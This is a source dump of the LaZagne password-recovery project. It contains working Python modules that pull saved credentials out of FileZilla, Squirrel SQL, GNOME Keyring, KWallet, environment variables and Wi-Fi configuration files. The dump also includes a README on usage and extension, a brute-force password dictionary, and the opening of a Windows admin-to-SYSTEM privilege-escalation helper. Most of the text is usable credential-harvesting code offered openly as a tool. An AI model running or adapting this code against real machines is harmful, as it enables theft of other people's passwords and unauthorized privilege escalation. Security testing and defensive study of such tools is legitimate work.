--------------------------------------------------------------------------------
/Linux/src/softwares/databases/squirrel.py:
--------------------------------------------------------------------------------
1 | import xml.etree.cElementTree as ET
2 | from config.header import Header
3 | from config.constant import *
4 | from config.write_output import print_debug, print_output
5 | from config.moduleInfo import ModuleInfo
6 | import os
7 |
8 | class Squirrel(ModuleInfo):
9 | def __init__(self):
10 | options = {'command': '-q', 'action': 'store_true', 'dest': 'squirrel', 'help': 'squirrel'}
11 | ModuleInfo.__init__(self, 'squirrel', 'database', options)
12 |
13 | def get_path(self):
14 |
15 | path = '~/.squirrel-sql'
16 | path = os.path.expanduser(path)
17 |
18 | if os.path.exists(path):
19 | return path
20 | else:
21 | return 'Not_Found'
22 |
23 | def parse_xml(self, xml_file):
24 | tree = ET.ElementTree(file=xml_file)
25 | pwdFound = []
26 | for elem in tree.iter('Bean'):
27 | values = {}
28 | for e in elem:
29 | if e.tag == 'name':
30 | values['Name'] = e.text
31 |
32 | elif e.tag == 'url':
33 | values['URL'] = e.text
34 |
35 | elif e.tag == 'userName':
36 | values['UserName'] = e.text
37 |
38 | elif e.tag == 'password':
39 | values['Password'] = e.text
40 |
41 | if len(values):
42 | pwdFound.append(values)
43 |
44 | # print the results
45 | print_output('Squirrel', pwdFound)
46 |
47 | # Main function
48 | def run(self):
49 | # print the title
50 | Header().title_info('Squirrel')
51 |
52 | path = self.get_path()
53 | if path == 'Not_Found':
54 | print_debug('INFO', 'Squirrel not installed')
55 |
56 | else:
57 | path += os.sep + 'SQLAliases23.xml'
58 | if os.path.exists(path):
59 | self.parse_xml(path)
60 | else:
61 | print_debug('WARNING', 'xml file containing passwords has not be found')
62 |
--------------------------------------------------------------------------------
/Linux/src/softwares/sysadmin/__init__.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
--------------------------------------------------------------------------------
/Linux/src/softwares/sysadmin/env_variable.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | import os
3 | from config.header import Header
4 | from config.write_output import print_debug, print_output
5 | from config.moduleInfo import ModuleInfo
6 |
7 | class Env_variable(ModuleInfo):
8 | def __init__(self):
9 | options = {'command': '-e', 'action': 'store_true', 'dest': 'env', 'help': 'environment variables'}
10 | ModuleInfo.__init__(self, 'Environment variables', 'sysadmin', options)
11 |
12 | def run(self):
13 | values = {}
14 | pwdFound = []
15 |
16 | # print the title
17 | Header().title_info('Environment variables')
18 |
19 | # --------- http_proxy --------
20 | tmp = ''
21 | if 'http_proxy' in os.environ:
22 | tmp = 'http_proxy'
23 | elif 'HTTP_Proxy' in os.environ:
24 | tmp = 'HTTP_Proxy'
25 |
26 | if tmp:
27 | values["Variable"] = tmp
28 | values["Password"] = os.environ[tmp]
29 | pwdFound.append(values)
30 |
31 | # --------- https_proxy --------
32 | tmp = ''
33 | if 'https_proxy' in os.environ:
34 | tmp = 'https_proxy'
35 | elif 'HTTPS_Proxy' in os.environ:
36 | tmp = 'HTTPS_Proxy'
37 |
38 | if tmp:
39 | values["Variable"] = tmp
40 | values["Password"] = os.environ[tmp]
41 | pwdFound.append(values)
42 |
43 | tab = ['passwd', 'pwd', 'pass', 'password']
44 | for i in os.environ:
45 | for t in tab:
46 | if (t.upper() in i.upper()) and (i.upper() != 'PWD') and (i.upper() != 'OLDPWD'):
47 | values["Variable"] = i
48 | values["Password"] = os.environ[i]
49 | pwdFound.append(values)
50 |
51 | # write credentials into a text file
52 | if len(values) != 0:
53 | # print the results
54 | print_output('Environnement variables', pwdFound)
55 |
56 | else:
57 | print_debug('INFO', 'No passwords stored in the environment variables.')
58 |
--------------------------------------------------------------------------------
/Linux/src/softwares/sysadmin/filezilla.py:
--------------------------------------------------------------------------------
1 | import xml.etree.cElementTree as ET
2 | from config.header import Header
3 | from config.write_output import print_debug, print_output
4 | from config.moduleInfo import ModuleInfo
5 | import os, base64
6 |
7 | class Filezilla(ModuleInfo):
8 | def __init__(self):
9 | options = {'command': '-f', 'action': 'store_true', 'dest': 'filezilla', 'help': 'filezilla'}
10 | ModuleInfo.__init__(self, 'filezilla', 'sysadmin', options)
11 |
12 | def run(self):
13 | # print the title
14 | Header().title_info('Filezilla')
15 |
16 | directory = '~/.filezilla'
17 | directory = os.path.expanduser(directory)
18 |
19 | interesting_xml_file = []
20 | info_xml_file = []
21 | if os.path.exists(os.path.join(directory, 'sitemanager.xml')):
22 | interesting_xml_file.append('sitemanager.xml')
23 | info_xml_file.append('Stores all saved sites server info including password in plaintext')
24 |
25 | if os.path.exists(os.path.join(directory, 'recentservers.xml')):
26 | interesting_xml_file.append('recentservers.xml')
27 | info_xml_file.append('Stores all recent server info including password in plaintext')
28 |
29 | if os.path.exists(os.path.join(directory, 'filezilla.xml')):
30 | interesting_xml_file.append('filezilla.xml')
31 | info_xml_file.append('Stores most recent server info including password in plaintext')
32 |
33 | if interesting_xml_file != []:
34 | print_debug('INFO', 'No login and password means anonymous connection')
35 |
36 | pwdFound = []
37 | for i in range(len(interesting_xml_file)):
38 | print_debug('INFO', '%s: %s' % (interesting_xml_file[i], info_xml_file[i]))
39 |
40 | xml_file = os.path.expanduser(directory + os.sep + interesting_xml_file[i])
41 |
42 | tree = ET.ElementTree(file=xml_file)
43 | root = tree.getroot()
44 |
45 | servers = root.getchildren()
46 | for ss in servers:
47 | server = ss.getchildren()
48 |
49 | jump_line = 0
50 | for s in server:
51 | s1 = s.getchildren()
52 | values = {}
53 | for s11 in s1:
54 | if s11.tag == 'Host':
55 | values['Host'] = s11.text
56 |
57 | if s11.tag == 'Port':
58 | values['Port'] = s11.text
59 |
60 | if s11.tag == 'User':
61 | values['Login'] = s11.text
62 |
63 | if s11.tag == 'Pass':
64 | try:
65 | # if base64 encoding
66 | if 'encoding' in s11.attrib:
67 | if s11.attrib['encoding'] == 'base64':
68 | values['Password'] = base64.b64decode(s11.text)
69 | else:
70 | values['Password'] = s11.text
71 | except:
72 | values['Password'] = s11.text
73 |
74 | # write credentials into a text file
75 | if len(values) != 0:
76 | pwdFound.append(values)
77 | # print the results
78 | print_output('Filezilla', pwdFound)
79 | else:
80 | print_debug('INFO', 'Filezilla not installed.')
81 |
82 |
--------------------------------------------------------------------------------
/Linux/src/softwares/wallet/__init__.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
--------------------------------------------------------------------------------
/Linux/src/softwares/wallet/gnome.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | import os
3 | from config.header import Header
4 | from config.write_output import print_debug, print_output
5 | from config.moduleInfo import ModuleInfo
6 |
7 | class Gnome(ModuleInfo):
8 | def __init__(self):
9 | options = {'command': '-g', 'action': 'store_true', 'dest': 'gnomeKeyring', 'help': 'Gnome Keyring'}
10 | ModuleInfo.__init__(self, 'gnomeKeyring', 'wallet', options)
11 |
12 | def run(self):
13 | # print the title
14 | Header().title_info('Gnome keyring')
15 |
16 | if os.getuid() == 0:
17 | print_debug('WARNING', 'Do not run it with root privileges)\n')
18 | return
19 | try:
20 | import gnomekeyring
21 | if len(gnomekeyring.list_keyring_names_sync()) > 0:
22 |
23 | pwdFound = []
24 | for keyring in gnomekeyring.list_keyring_names_sync():
25 | for id in gnomekeyring.list_item_ids_sync(keyring):
26 | values = {}
27 | item = gnomekeyring.item_get_info_sync(keyring, id)
28 | attr = gnomekeyring.item_get_attributes_sync(keyring, id)
29 |
30 | if attr:
31 | if item.get_display_name():
32 | values["Item"] = item.get_display_name()
33 |
34 | if attr.has_key('server'):
35 | values["Server"] = attr['server']
36 |
37 | if attr.has_key('protocol'):
38 | values["Protocol"] = attr['protocol']
39 |
40 | if attr.has_key('unique'):
41 | values["Unique"] = attr['unique']
42 |
43 | if attr.has_key('domain'):
44 | values["Domain"] = attr['domain']
45 |
46 | if attr.has_key('origin_url'):
47 | values["Origin_url"] = attr['origin_url']
48 |
49 | if attr.has_key('username_value'):
50 | values["Username"] = attr['username_value']
51 |
52 | if attr.has_key('user'):
53 | values["Username"] = attr['user']
54 |
55 | if item.get_secret():
56 | values["Password"] = item.get_secret()
57 |
58 | # write credentials into a text file
59 | if len(values) != 0:
60 | pwdFound.append(values)
61 | # print the results
62 | print_output('Gnome keyring', pwdFound)
63 | else:
64 | print_debug('WARNING', 'The Gnome Keyring wallet is empty')
65 | except Exception,e:
66 | print_debug('ERROR', 'An error occurs with the Gnome Keyring wallet: {0}'.format(e))
67 |
68 |
--------------------------------------------------------------------------------
/Linux/src/softwares/wallet/kde.py:
--------------------------------------------------------------------------------
1 | #######################
2 | #
3 | # By Quentin HARDY
4 | #
5 | #######################
6 |
7 | import os, sys
8 | from config.header import Header
9 | from config.write_output import print_debug, print_output
10 | from config.moduleInfo import ModuleInfo
11 |
12 | class kde(ModuleInfo):
13 | def __init__(self):
14 | options = {'command': '-k', 'action': 'store_true', 'dest': 'kwallet', 'help': 'KWallet'}
15 | ModuleInfo.__init__(self, 'kwallet', 'wallet', options)
16 |
17 | def run(self):
18 | Header().title_info("KWallet")
19 |
20 | if os.getuid() == 0:
21 | print_debug('INFO', 'Do not run with root privileges)\n')
22 | return
23 | try:
24 | from PyKDE4.kdeui import KWallet
25 | from PyQt4.QtGui import QApplication
26 | pwdFound = []
27 | app = QApplication([])
28 | app.setApplicationName("KWallet")
29 | #Get the local wallet
30 | f = open(os.devnull, 'w')
31 | stdoutBackup = sys.stdout
32 | stderrBackup = sys.stderr
33 | sys.stdout = f
34 | sys.stderr = f
35 | wallet = KWallet.Wallet.openWallet(KWallet.Wallet.LocalWallet(), 0)
36 | #sys.stdout = stdoutBackup
37 | #sys.stderr = stderrBackup
38 | #Walk accros folders defined in the KWallet
39 | for folder in wallet.folderList():
40 | wallet.setFolder(folder)
41 | entries = dict()
42 | #Get entries for this folder
43 | for entry in wallet.entryList():
44 | values = {}
45 | entries[entry] = wallet.readEntry( entry )
46 | values["Folder"] = folder
47 | values["Entry"] = entry
48 | values["Password"] = (entries[entry][1].toHex().data()).decode('hex').decode('utf-8')[5:]
49 | if len(values) != 0:
50 | pwdFound.append(values)
51 | # print the results
52 | print_output('Gnome keyring', pwdFound)
53 | except Exception,e:
54 | print_debug('ERROR', 'An error occurs with KWallet: {0}'.format(e))
55 |
56 |
--------------------------------------------------------------------------------
/Linux/src/softwares/wifi/__init__.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
--------------------------------------------------------------------------------
/Linux/src/softwares/wifi/wifi.py:
--------------------------------------------------------------------------------
1 | from ConfigParser import RawConfigParser
2 | from config.header import Header
3 | from config.write_output import print_debug, print_output
4 | from config.moduleInfo import ModuleInfo
5 | import os
6 |
7 | class Wifi(ModuleInfo):
8 | def __init__(self):
9 | options = {'command': '-wi', 'action': 'store_true', 'dest': 'wifi', 'help': 'Network Manager - Need root Privileges'}
10 | ModuleInfo.__init__(self, 'wifi', 'wifi', options)
11 |
12 | def run(self):
13 | # print the title
14 | Header().title_info('Wifi (from Network Manager)')
15 |
16 | directory = '/etc/NetworkManager/system-connections'
17 | if os.path.exists(directory):
18 | if os.getuid() != 0:
19 | print_debug('INFO', 'You need more privileges (run it with sudo)\n')
20 |
21 | wireless_ssid = [ f for f in os.listdir(directory) if os.path.isfile(os.path.join(directory,f))]
22 |
23 | pwdFound = []
24 | for w in wireless_ssid:
25 | cp = RawConfigParser()
26 | cp.read(os.path.join(directory, w))
27 | values = {}
28 |
29 | values['SSID'] = w
30 | if cp.sections():
31 | for section in cp.sections():
32 | if 'wireless' in section:
33 | for i in cp.items(section):
34 | values[i[0]] = i[1]
35 |
36 | # write credentials into a text file
37 | if len(values) != 0:
38 | pwdFound.append(values)
39 |
40 | # print the results
41 | print_output('Wifi', pwdFound)
42 | else:
43 | print_debug('WARNING', 'the path "%s" does not exist' %(directory))
44 |
--------------------------------------------------------------------------------
/Linux/src/softwares/wifi/wpa_supplicant.py:
--------------------------------------------------------------------------------
1 | #######################
2 | #
3 | # By rpesche
4 | #
5 | #######################
6 |
7 | from config.header import Header
8 | from config.write_output import print_debug, print_output
9 | from config.moduleInfo import ModuleInfo
10 | import re
11 | import os
12 |
13 | class Wpa_supplicant(ModuleInfo):
14 |
15 | filestr = '/etc/wpa_supplicant/wpa_supplicant.conf'
16 |
17 | def __init__(self):
18 | options = {'command': '-wp', 'action': 'store_true', 'dest': 'wpa_supplicant', 'help': 'WPA Supplicant - Need root Privileges'}
19 | ModuleInfo.__init__(self, 'wpa_supplicant', 'wifi', options)
20 |
21 | def parse_file_network(self, fd):
22 | password=None
23 | ssid=None
24 |
25 | for line in fd:
26 | if re.match('^[ \t]*ssid=', line):
27 | ssid=(line.split("\"")[1])
28 | if re.match('^[ \t]*psk=', line):
29 | password=line.split("\"")[1]
30 | if re.match('^[ \t]*password=', line):
31 | password=line.split("\"")[1]
32 | if re.match('^[ \t]*}', line):
33 | return (ssid, password)
34 |
35 | def parse_file(self):
36 | pwdFound = []
37 |
38 | fd = None
39 | try:
40 | fd = open(self.filestr)
41 | except Exception, e:
42 | print_debug('DEBUG', '{0}'.format(e))
43 | print_debug('INFO', 'Could not open the file: %s ' % self.filestr)
44 |
45 | if fd:
46 | for line in fd:
47 | if "network=" in line:
48 | values = {}
49 | (ssid,password) = self.parse_file_network(fd)
50 | if ssid and password:
51 | values['PASSWORD'] = password
52 | values['SSID'] = ssid
53 | pwdFound.append(values)
54 | fd.close()
55 | return pwdFound;
56 |
57 | def check_file_access(self):
58 | if not os.path.exists(self.filestr):
59 | print_debug('WARNING', 'The path "%s" does not exist' %(self.filestr))
60 | return -1
61 | return 0
62 |
63 | def run(self):
64 | Header().title_info('Wifi (from WPA Supplicant)')
65 | if self.check_file_access():
66 | return
67 |
68 | # check root access
69 | if os.getuid() != 0:
70 | print_debug('INFO', 'You need more privileges (run it with sudo)\n')
71 | return
72 |
73 | pwdFound = self.parse_file()
74 | print_output("wpa_supplicant", pwdFound)
75 |
--------------------------------------------------------------------------------
/Linux/standalone/32bits/LaZagne-32bits:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/Linux/standalone/32bits/LaZagne-32bits
--------------------------------------------------------------------------------
/Linux/standalone/64bits/LaZagne-64bits:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/Linux/standalone/64bits/LaZagne-64bits
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 | __The LaZagne Project !!!__
3 | ==
4 |
5 | Description
6 | ----
7 | The __LaZagne project__ is an open source application used to __retrieve lots of passwords__ stored on a local computer.
8 | Each software stores its passwords using different techniques (plaintext, APIs, custom algorithms, databases, etc.). This tool has been developed for the purpose of finding these passwords for the most commonly-used software.
9 | At this moment, it supports 22 Programs on Microsoft Windows and 12 on a Linux/Unix-Like OS.
10 |
11 |

12 |
13 |
14 | Usage
15 | ----
16 | * Launch all modules
17 | * cmd: laZagne.exe all
18 |
19 | * Launch only a specific module
20 | * cmd: laZagne.exe
21 | * example: laZagne.exe browsers
22 | * help: laZagne.exe -h
23 |
24 | * Launch only a specific software script
25 | * cmd: laZagne.exe
26 | * example: laZagne.exe browsers -f
27 | * help: laZagne.exe browsers -h
28 |
29 | * Write all passwords found into a file (-w options)
30 | * cmd: laZagne.exe all -w
31 |
32 | __Note: For wifi passwords \ Windows Secrets, launch it with administrator privileges (UAC Authentication / sudo)__
33 |
34 | Supported software
35 | ----
36 |
37 | 
38 |
39 | (*) used by many tools to store passwords: Chrome, Owncloud, Evolution, KMail, etc.
40 |
41 | IE Browser history
42 | ----
43 | Internet Explorer passwords (from IE7 and before Windows 8) can only be decrypted using the URL of the website. This one is used as an argument of the Win32CryptUnprotectData api. Thus, using the browsing history of ie will permit to decrypt many passwords.
44 | To do that, I used a dll written in C code (the code is in the "browser_history_dll" directory) and it is directly embedded to the Python code as a Base64 string (c.f. ie.py). Once launched, the dll is written on the disk, a wrapper is used to call dll functions and then the dll file is removed from the disk.
45 |
46 | Windows hashes
47 | ----
48 | To dump windows hashes and LSA Secrets, the impacket library has been used: https://github.com/CoreSecurity/impacket
49 |
50 | Build your own password recovery script
51 | ----
52 | It's possible to write your own script for the software of your choice. Building your own module has become extremely easy.
53 |
54 | To do that, some code standards are to be met:
55 | * Create a class using the name of the software containing 2 importants functions:
56 | * init: used to define all arguments used to launch the class.
57 | * run: will be the main function
58 |
59 | * Add on the config.manageModules.py file your class name and your import
60 |
61 | * The output containing all passwords has to be send to the "print_output" function - ex: print_output(software_name, password_list)
62 | * password_list has to be an array of dictionnaries.
63 |
64 | * Optional: you could use the function "print_debug" to print your output
65 | * ex: print_debug("ERROR", "Failed to load ...")
66 |
67 | * Use an existing script to understand what I have said :)
68 |
69 | If you want to improve this tool, you can send me your script and it will be added to this project (authors will be, of course, credited on each script ;)).
70 |
71 | Requirements
72 | ----
73 | To compile the source code, some external libraries are required.
74 |
75 | * For Windows
76 | * Python 2.7
77 | * Colorama (for the Console colors): https://pypi.python.org/pypi/colorama
78 | * Python for Windows Extensions: http://sourceforge.net/projects/pywin32/
79 | * PyCrypto: pip install pycrypto
80 | * Impacket (for Windows hashes + LSA Secrets): https://github.com/CoreSecurity/impacket
81 | * Pyasn1 (for ASN1 decoding): https://pypi.python.org/pypi/pyasn1/
82 |
83 | * For Linux
84 | * Python 2.7
85 | * Argparse
86 | * PyCrypto: https://www.dlitz.net/software/pycrypto/
87 | * Dbus (Pidgin)
88 | * Python-kde4 (Kwallet)
89 | * Pyasn1 (for ASN1 decoding): https://pypi.python.org/pypi/pyasn1/
90 |
91 | ----
92 | | __Alessandro ZANNI__ |
93 | | ------------- |
94 | | __alessandro.zanni@bt.com__ |
95 | | __zanni.alessandro@gmail.com__ |
96 |
97 |
98 |
99 |
100 |
--------------------------------------------------------------------------------
/Windows/src/LaZagne/config/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/Windows/src/LaZagne/config/__init__.py
--------------------------------------------------------------------------------
/Windows/src/LaZagne/config/constant.py:
--------------------------------------------------------------------------------
1 |
2 | class constant():
3 | folder_name = 'results'
4 | MAX_HELP_POSITION = 27
5 | CURRENT_VERSION = 0.7
6 | output = None
7 | file_logger = None
8 |
9 | # jitsi options
10 | jitsi_masterpass = None
11 |
12 | # mozilla options
13 | isInteractive = False
14 | manually = None
15 | path = None
16 | bruteforce = None
17 | defaultpass = None
18 | specific_path = None
19 | mozilla_software = ''
20 |
21 | # ie options
22 | ie_historic = None
23 |
24 | # total password found
25 | nbPasswordFound = 0
26 | passwordFound = []
27 |
--------------------------------------------------------------------------------
/Windows/src/LaZagne/config/dico.py:
--------------------------------------------------------------------------------
1 |
2 | def get_dico():
3 | return [
4 | "password",
5 | "123456",
6 | "12345678",
7 | "1234",
8 | "qwerty",
9 | "12345",
10 | "dragon",
11 | "pussy",
12 | "baseball",
13 | "football",
14 | "letmein",
15 | "monkey",
16 | "696969",
17 | "abc123",
18 | "mustang",
19 | "michael",
20 | "shadow",
21 | "master",
22 | "jennifer",
23 | "111111",
24 | "2000",
25 | "jordan",
26 | "superman",
27 | "harley",
28 | "1234567",
29 | "fuckme",
30 | "hunter",
31 | "fuckyou",
32 | "trustno1",
33 | "ranger",
34 | "buster",
35 | "thomas",
36 | "tigger",
37 | "robert",
38 | "soccer",
39 | "fuck",
40 | "batman",
41 | "test",
42 | "pass",
43 | "killer",
44 | "hockey",
45 | "george",
46 | "charlie",
47 | "andrew",
48 | "michelle",
49 | "love",
50 | "sunshine",
51 | "jessica",
52 | "asshole",
53 | "6969",
54 | "pepper",
55 | "daniel",
56 | "access",
57 | "123456789",
58 | "654321",
59 | "joshua",
60 | "maggie",
61 | "starwars",
62 | "silver",
63 | "william",
64 | "dallas",
65 | "yankees",
66 | "123123",
67 | "ashley",
68 | "666666",
69 | "hello",
70 | "amanda",
71 | "orange",
72 | "biteme",
73 | "freedom",
74 | "computer",
75 | "sexy",
76 | "thunder",
77 | "nicole",
78 | "ginger",
79 | "heather",
80 | "hammer",
81 | "summer",
82 | "corvette",
83 | "taylor",
84 | "fucker",
85 | "austin",
86 | "1111",
87 | "merlin",
88 | "matthew",
89 | "121212",
90 | "golfer",
91 | "cheese",
92 | "princess",
93 | "martin",
94 | "chelsea",
95 | "patrick",
96 | "richard",
97 | "diamond",
98 | "yellow",
99 | "bigdog",
100 | "secret",
101 | "asdfgh",
102 | "sparky",
103 | "cowboy",
104 | "camaro",
105 | "anthony",
106 | "matrix",
107 | "falcon",
108 | "iloveyou",
109 | "bailey",
110 | "guitar",
111 | "jackson",
112 | "purple",
113 | "scooter",
114 | "phoenix",
115 | "aaaaaa",
116 | "morgan",
117 | "tigers",
118 | "porsche",
119 | "mickey",
120 | "maverick",
121 | "cookie",
122 | "nascar",
123 | "peanut",
124 | "justin",
125 | "131313",
126 | "money",
127 | "horny",
128 | "samantha",
129 | "panties",
130 | "steelers",
131 | "joseph",
132 | "snoopy",
133 | "boomer",
134 | "whatever",
135 | "iceman",
136 | "smokey",
137 | "gateway",
138 | "dakota",
139 | "cowboys",
140 | "eagles",
141 | "chicken",
142 | "dick",
143 | "black",
144 | "zxcvbn",
145 | "please",
146 | "andrea",
147 | "ferrari",
148 | "knight",
149 | "hardcore",
150 | "melissa",
151 | "compaq",
152 | "coffee",
153 | "booboo",
154 | "bitch",
155 | "johnny",
156 | "bulldog",
157 | "xxxxxx",
158 | "welcome",
159 | "james",
160 | "player",
161 | "ncc1701",
162 | "wizard",
163 | "scooby",
164 | "charles",
165 | "junior",
166 | "internet",
167 | "bigdick",
168 | "mike",
169 | "brandy",
170 | "tennis",
171 | "blowjob",
172 | "banana",
173 | "monster",
174 | "spider",
175 | "lakers",
176 | "miller",
177 | "rabbit",
178 | "enter",
179 | "mercedes",
180 | "brandon",
181 | "steven",
182 | "fender",
183 | "john",
184 | "yamaha",
185 | "diablo",
186 | "chris",
187 | "boston",
188 | "tiger",
189 | "marine",
190 | "chicago",
191 | "rangers",
192 | "gandalf",
193 | "winter",
194 | "bigtits",
195 | "barney",
196 | "edward",
197 | "raiders",
198 | "porn",
199 | "badboy",
200 | "blowme",
201 | "spanky",
202 | "bigdaddy",
203 | "johnson",
204 | "chester",
205 | "london",
206 | "midnight",
207 | "blue",
208 | "fishing",
209 | "000000",
210 | "hannah",
211 | "slayer",
212 | "11111111",
213 | "rachel",
214 | "sexsex",
215 | "redsox",
216 | "thx1138",
217 | "asdf",
218 | "marlboro",
219 | "panther",
220 | "zxcvbnm",
221 | "arsenal",
222 | "oliver",
223 | "qazwsx",
224 | "mother",
225 | "victoria",
226 | "7777777",
227 | "jasper",
228 | "angel",
229 | "david",
230 | "winner",
231 | "crystal",
232 | "golden",
233 | "butthead",
234 | "viking",
235 | "jack",
236 | "iwantu",
237 | "shannon",
238 | "murphy",
239 | "angels",
240 | "prince",
241 | "cameron",
242 | "girls",
243 | "madison",
244 | "wilson",
245 | "carlos",
246 | "hooters",
247 | "willie",
248 | "startrek",
249 | "captain",
250 | "maddog",
251 | "jasmine",
252 | "butter",
253 | "booger",
254 | "angela",
255 | "golf",
256 | "lauren",
257 | "rocket",
258 | "tiffany",
259 | "theman",
260 | "dennis",
261 | "liverpoo",
262 | "flower",
263 | "forever",
264 | "green",
265 | "jackie",
266 | "muffin",
267 | "turtle",
268 | "sophie",
269 | "danielle",
270 | "redskins",
271 | "toyota",
272 | "jason",
273 | "sierra",
274 | "winston",
275 | "debbie",
276 | "giants",
277 | "packers",
278 | "newyork",
279 | "jeremy",
280 | "casper",
281 | "bubba",
282 | "112233",
283 | "sandra",
284 | "lovers",
285 | "mountain",
286 | "united",
287 | "cooper",
288 | "driver",
289 | "tucker",
290 | "helpme",
291 | "fucking",
292 | "pookie",
293 | "lucky",
294 | "maxwell",
295 | "8675309",
296 | "bear",
297 | "suckit",
298 | "gators",
299 | "5150",
300 | "222222",
301 | "shithead",
302 | "fuckoff",
303 | "jaguar",
304 | "monica",
305 | "fred",
306 | "happy",
307 | "hotdog",
308 | "tits",
309 | "gemini",
310 | "lover",
311 | "xxxxxxxx",
312 | "777777",
313 | "canada",
314 | "nathan",
315 | "victor",
316 | "florida",
317 | "88888888",
318 | "nicholas",
319 | "rosebud",
320 | "metallic",
321 | "doctor",
322 | "trouble",
323 | "success",
324 | "stupid",
325 | "tomcat",
326 | "warrior",
327 | "peaches",
328 | "apples",
329 | "fish",
330 | "qwertyui",
331 | "magic",
332 | "buddy",
333 | "dolphins",
334 | "rainbow",
335 | "gunner",
336 | "987654",
337 | "freddy",
338 | "alexis",
339 | "braves",
340 | "cock",
341 | "2112",
342 | "1212",
343 | "cocacola",
344 | "xavier",
345 | "dolphin",
346 | "testing",
347 | "bond007",
348 | "member",
349 | "calvin",
350 | "voodoo",
351 | "7777",
352 | "samson",
353 | "alex",
354 | "apollo",
355 | "fire",
356 | "tester",
357 | "walter",
358 | "beavis",
359 | "voyager",
360 | "peter",
361 | "porno",
362 | "bonnie",
363 | "rush2112",
364 | "beer",
365 | "apple",
366 | "scorpio",
367 | "jonathan",
368 | "skippy",
369 | "sydney",
370 | "scott",
371 | "red123",
372 | "power",
373 | "gordon",
374 | "travis",
375 | "beaver",
376 | "star",
377 | "jackass",
378 | "flyers",
379 | "boobs",
380 | "232323",
381 | "zzzzzz",
382 | "steve",
383 | "rebecca",
384 | "scorpion",
385 | "doggie",
386 | "legend",
387 | "ou812",
388 | "yankee",
389 | "blazer",
390 | "bill",
391 | "runner",
392 | "birdie",
393 | "bitches",
394 | "555555",
395 | "parker",
396 | "topgun",
397 | "asdfasdf",
398 | "heaven",
399 | "viper",
400 | "animal",
401 | "2222",
402 | "bigboy",
403 | "4444",
404 | "arthur",
405 | "baby",
406 | "private",
407 | "godzilla",
408 | "donald",
409 | "williams",
410 | "lifehack",
411 | "phantom",
412 | "dave",
413 | "rock",
414 | "august",
415 | "sammy",
416 | "cool",
417 | "brian",
418 | "platinum",
419 | "jake",
420 | "bronco",
421 | "paul",
422 | "mark",
423 | "frank",
424 | "heka6w2",
425 | "copper",
426 | "billy",
427 | "cumshot",
428 | "garfield",
429 | "willow",
430 | "cunt",
431 | "little",
432 | "carter",
433 | "slut",
434 | "albert",
435 | "69696969",
436 | "kitten",
437 | "super",
438 | "jordan23",
439 | "eagle1",
440 | "shelby",
441 | "america",
442 | "11111",
443 | "jessie",
444 | "house",
445 | "free",
446 | "123321",
447 | "chevy",
448 | "bullshit",
449 | "white",
450 | "broncos",
451 | "horney",
452 | "surfer",
453 | "nissan",
454 | "999999",
455 | "saturn",
456 | "airborne",
457 | "elephant",
458 | "marvin",
459 | "shit",
460 | "action",
461 | "adidas",
462 | "qwert",
463 | "kevin",
464 | "1313",
465 | "explorer",
466 | "walker",
467 | "police",
468 | "christin",
469 | "december",
470 | "benjamin",
471 | "wolf",
472 | "sweet",
473 | "therock",
474 | "king",
475 | "online",
476 | "dickhead",
477 | "brooklyn",
478 | "teresa",
479 | "cricket",
480 | "sharon",
481 | "dexter",
482 | "racing",
483 | "penis",
484 | "gregory",
485 | "0000",
486 | "teens",
487 | "redwings",
488 | "dreams",
489 | "michigan",
490 | "hentai",
491 | "magnum",
492 | "87654321",
493 | "nothing",
494 | "donkey",
495 | "trinity",
496 | "digital",
497 | "333333",
498 | "stella",
499 | "cartman",
500 | "guinness",
501 | "123abc",
502 | "speedy",
503 | "buffalo",
504 | "kitty"]
505 |
506 |
--------------------------------------------------------------------------------
/Windows/src/LaZagne/config/get_system_priv.py:
--------------------------------------------------------------------------------
1 | # Thanks to Alex. http://zwclose7.createaforum.com/malware-and-hacking/%28python%29-admin-to-system-privilege-escalation/
2 | import sys, os
3 | from ctypes import *
4 |
5 | LPVOID = c_void_p
6 | PVOID = LPVOID
7 | PSID = PVOID
8 | DWORD = c_uint32
9 | LPSTR = c_char_p
10 | HANDLE = LPVOID
11 | INVALID_HANDLE_VALUE = c_void_p(-1).value
12 | LONG = c_long
13 | WORD = c_uint16
14 |
15 | READ_CONTROL = 0x00020000L
16 | STANDARD_RIGHTS_READ = READ_CONTROL
17 | STANDARD_RIGHTS_REQUIRED = 0x000F0000L
18 |
19 | TOKEN_ASSIGN_PRIMARY = 0x0001
20 | TOKEN_DUPLICATE = 0x0002
21 | TOKEN_IMPERSONATE = 0x0004
22 | TOKEN_QUERY = 0x0008
23 | TOKEN_QUERY_SOURCE = 0x0010
24 | TOKEN_ADJUST_PRIVILEGES = 0x0020
25 | TOKEN_ADJUST_GROUPS = 0x0040
26 | TOKEN_ADJUST_DEFAULT = 0x0080
27 | TOKEN_ADJUST_SESSIONID = 0x0100
28 | TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY)
29 | tokenprivs = (TOKEN_QUERY | TOKEN_READ | TOKEN_IMPERSONATE | TOKEN_QUERY_SOURCE | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | (131072L | 4))
30 | TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY |
31 | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE |
32 | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT |
33 | TOKEN_ADJUST_SESSIONID)
34 |
35 | PROCESS_QUERY_INFORMATION = 0x0400
36 |
37 | class LUID(Structure):
38 | _fields_ = [
39 | ("LowPart", DWORD),
40 | ("HighPart", LONG),
41 | ]
42 |
43 | class SID_AND_ATTRIBUTES(Structure):
44 | _fields_ = [
45 | ("Sid", PSID),
46 | ("Attributes", DWORD),
47 | ]
